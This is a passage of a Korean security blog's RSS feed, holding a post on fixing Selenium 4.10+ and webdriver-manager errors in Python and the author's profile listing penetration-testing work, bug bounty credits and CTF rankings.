<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Is Secure?</title>
    <link>https://ar9ang3.tistory.com/</link>
    <description>ar9ang3's Personal Blog</description>
    <language>ko</language>
    <pubDate>Sun, 16 Aug 2026 13:03:40 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>ar9ang3</managingEditor>
    <image>
      <title>Is Secure?</title>
      <url>https://tistory1.daumcdn.net/tistory/2905390/attach/ab98817adf5e49d08ebde6e93a3c46f1</url>
      <link>https://ar9ang3.tistory.com</link>
    </image>
    <item>
      <title>짜증날때쓰는글 - Selenium v4.10+ TypeError: __init__() got an unexpected keyword argument 에러 + webdriver-manager 에러 해결(LATEST_RELEASE not found 에러)</title>
      <link>https://ar9ang3.tistory.com/72</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;셀레니움 봇 만드려는데 그냥 pip3 install selenium 하고 기존 쓰던 코드 적용하니 온갖 에러가 난다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXamxA/btssqANXcy2/RN4GnHMoPkkZhKN0eRW8Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXamxA/btssqANXcy2/RN4GnHMoPkkZhKN0eRW8Ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXamxA/btssqANXcy2/RN4GnHMoPkkZhKN0eRW8Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXamxA%2FbtssqANXcy2%2FRN4GnHMoPkkZhKN0eRW8Ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1115&quot; height=&quot;628&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. webdriver-manager 적용시 최신 크롬 드라이버를 못찾아서 에러가남&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;&amp;gt; pip3&amp;nbsp;install&amp;nbsp;git+&lt;/b&gt;&lt;a href=&quot;https://github.com/SergeyPirogov/webdriver_manager&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;https://github.com/SergeyPirogov/webdriver_manager&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;# 최신 webdriver_manager를 설치함으로써 해결&lt;/b&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3rkAN/btssxFA5gft/ag22dbu8VokIH31euqke0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3rkAN/btssxFA5gft/ag22dbu8VokIH31euqke0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3rkAN/btssxFA5gft/ag22dbu8VokIH31euqke0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3rkAN%2FbtssxFA5gft%2Fag22dbu8VokIH31euqke0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1115&quot; height=&quot;628&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. webdriver-manager 최신버전은 python 3.7 이상버전이 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;# python 3.7 이상 버전 설치&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;628&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AmMqj/btsshsXBasK/Sq8ODfszqhm2f8l3BQlbn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AmMqj/btsshsXBasK/Sq8ODfszqhm2f8l3BQlbn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AmMqj/btsshsXBasK/Sq8ODfszqhm2f8l3BQlbn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAmMqj%2FbtsshsXBasK%2FSq8ODfszqhm2f8l3BQlbn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1115&quot; height=&quot;628&quot; data-origin-width=&quot;1115&quot; data-origin-height=&quot;628&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 드래그한 부분이 에러인데, &lt;b&gt;TypeError: __init__() got multiple values for argument 'options'&lt;/b&gt;라고 뜬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제론 options땜에 에러나는건 아니고 selenium 4.10이상(맞나?)부터 webdriver path 지정을 Service라는 애를 통해서 해야하는거로 변했다고한다(ㅡㅡ..)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;gt; &lt;b&gt;from&amp;nbsp;selenium.webdriver.chrome.service&amp;nbsp;import&amp;nbsp;Service&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;gt; ...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&amp;gt; &lt;b&gt;self.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=options)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;# Selinum Service를 이용해서 ChromeDriverManager().install() 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 추가로 desired_capabilities도 deprecated됐는데 난 그냥 짜증나서 쓰고있던 desired_capabilities 기능을 빼고 썼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 options로 이관? 혹은 다른 방법을 통해 사용하는 지 아시는 분은 댓글 주시면 감사드리겠습니다..&lt;/p&gt;</description>
      <category>Tips/Web-Honey tips</category>
      <category>ChromeDriverManager</category>
      <category>error</category>
      <category>Python</category>
      <category>seleinum</category>
      <category>webdriver manager</category>
      <author>ar9ang3</author>
      <guid isPermaLink="true">https://ar9ang3.tistory.com/72</guid>
      <comments>https://ar9ang3.tistory.com/72#entry72comment</comments>
      <pubDate>Tue, 29 Aug 2023 23:33:18 +0900</pubDate>
    </item>
    <item>
      <title>Profile</title>
      <link>https://ar9ang3.tistory.com/1</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 18.6667px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 12pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;유재욱(arang)&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 16px;&quot;&gt;&lt;b&gt;Career&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- &lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;금융보안원 보안평가부 RED IRIS팀(모의해킹팀) (2019 ~ )&lt;/span&gt;&lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;&amp;nbsp;- &lt;a href=&quot;https://www.fsec.or.kr/bbs/detail?menuNo=1011&amp;amp;bbsNo=11640&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공격자 관점의 인증 우회 취약점 프로파일링 : 인사이트 리포트(Campaign Poltergeist)&lt;/a&gt; 발간 (2025)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;&amp;nbsp;- &lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;KITRI 차세대보안리더 양성 프로그램 Best of the Best &amp;amp; Whitehat School 멘토 (2023 ~ )&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;&lt;span style=&quot;color: #353535; text-align: start;&quot;&gt;&amp;nbsp;- 구름톤 트레이닝 정보보호과정 멘토 (2023 ~ 2024)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- 금융보안원 전문강사 &amp;amp; 내부강사 (2023 ~ )&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- 가천대학교 스마트보안학과 자문위원 (2022 ~ )&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- CTF Team Defenit (2019 ~ )&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- 라온화이트햇 프로젝트팀 전임연구원 (2018. 04. ~ 2019. 08.)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- 가천대학교 정보보호 동아리 Pay1oad 설립 및 운영 (2018. 03. ~ 2019. 02)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- KITRI 차세대 보안리더 양성 프로그램 BoB(Best of the Best) 6기 컨설팅 트랙 Top 10 &amp;amp; GrandPrix Team 선정 (2017. 07 ~ 2018. 04)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- AhnLab IPP 인턴 (2016. 08 ~ 2017. 02)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 11pt; color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- 대학 정보보호동아리 연합 커뮤니티 SUA(SecurityPlus Union Academy) 운영진 및 서경지부장 (2015. 11 ~ 2017. 06)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;Interested with&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;- Penetration Testing&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-family: '맑은 고딕', sans-serif;&quot;&gt;&amp;nbsp;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;Web Application Security&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&amp;nbsp;- Mobile Application Security&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&amp;nbsp;- Bug Hunting&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&amp;nbsp;- Finance Security&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&amp;nbsp;- Security Consulting&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&amp;nbsp;- Developing Tool&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;b&gt;Bug Bounty&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&amp;nbsp;+ 한국인터넷진흥원(KISA) S/W 취약점 제보 00회&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&amp;nbsp;+ 네이버(NHN) 버그바운티 웹 취약점 제보 00회&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&amp;nbsp; &amp;gt; Unrestricted File Upload, Auth Bypass &amp;amp; CSRF Chaning for Logical Bugs, XXE, many&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;Reflected XSS&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;...&lt;/span&gt;&lt;/p&gt;
&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;+ 리디북스(Ridibooks) 버그바운티 웹 취약점 제보 0회&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;&amp;gt; Account Takeover, Reflected XSS via Open Redirect&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;+ 2019, 2020 KISA Hack the Challenge 제보 0회&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp; &amp;gt; WAF misconfiguration, Soteria money show, naver vuln...&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;etc...&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #353535;&quot;&gt;CTFs&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2025 DEF CON CTF 예선 2위&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2024 HITCON CTF 예선 6위, 본선 6위&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2024 Hack the Drone 본선 4위&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2024 국가정보원 APEX 훈련 한국대표팀 참가&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2024 NATO CCDCOE Locked Shields 훈련 한국대표팀 참가&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2024 DEF CON CTF 예선 2위, 본선 3위&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2023 HITCON CTF 예선 6위, 본선 4위&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2023 Hack the Drone 본선 2위&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2023 WACON CTF 예선 1위&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2022 WACON CTF 본선 진출&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2022 화이트햇콘테스트 CTF 본선 진출&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2021 SECCON CTF 4위 (Team. KOREAN)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2021 화이트햇콘테스트 CTF 예선 4위, 본선 4위 (Team. 화햇콘이었던사작경이었던화햇콘)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2021 Pwn2Win CTF 2위 (Team. uuunderflow)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2021 DEF CON CTF 16위 (Team. uuunderflow)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2021 Plaid CTF 9위 (Team. uuunderflow)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 Defenit CTF 문제 출제 및 운영&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 HITCON CTF 8위 (Team. G0D)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 금융보안원 위협 분석 대회 FIESTA 금보원부 1위 우승 (Team. pgb5)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 TokyoWesterns CTF 1위 우승 (Team. D0G$)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 Google CTF Qulas 18위 (Team. I use Bing)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 DEF CON CTF Final&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;&amp;nbsp;12&lt;/span&gt;&lt;span style=&quot;color: #353535; font-size: 14.6667px;&quot;&gt;위 (Team. koreanbadass)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 TSG CTF 2위 (Team. DefenitelyZer0)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 ASIS CTF Qual. 2위 (Team. DefenitelyZer0)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 DEF CON CTF Qual. 7위 (Team. koreanbadass)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&amp;nbsp;- 2020 Plaid CTF 4위 (Team. koreanbadass)&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 14.6667px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #353535;&quot;&gt;&lt;span style=&quot;font-size: 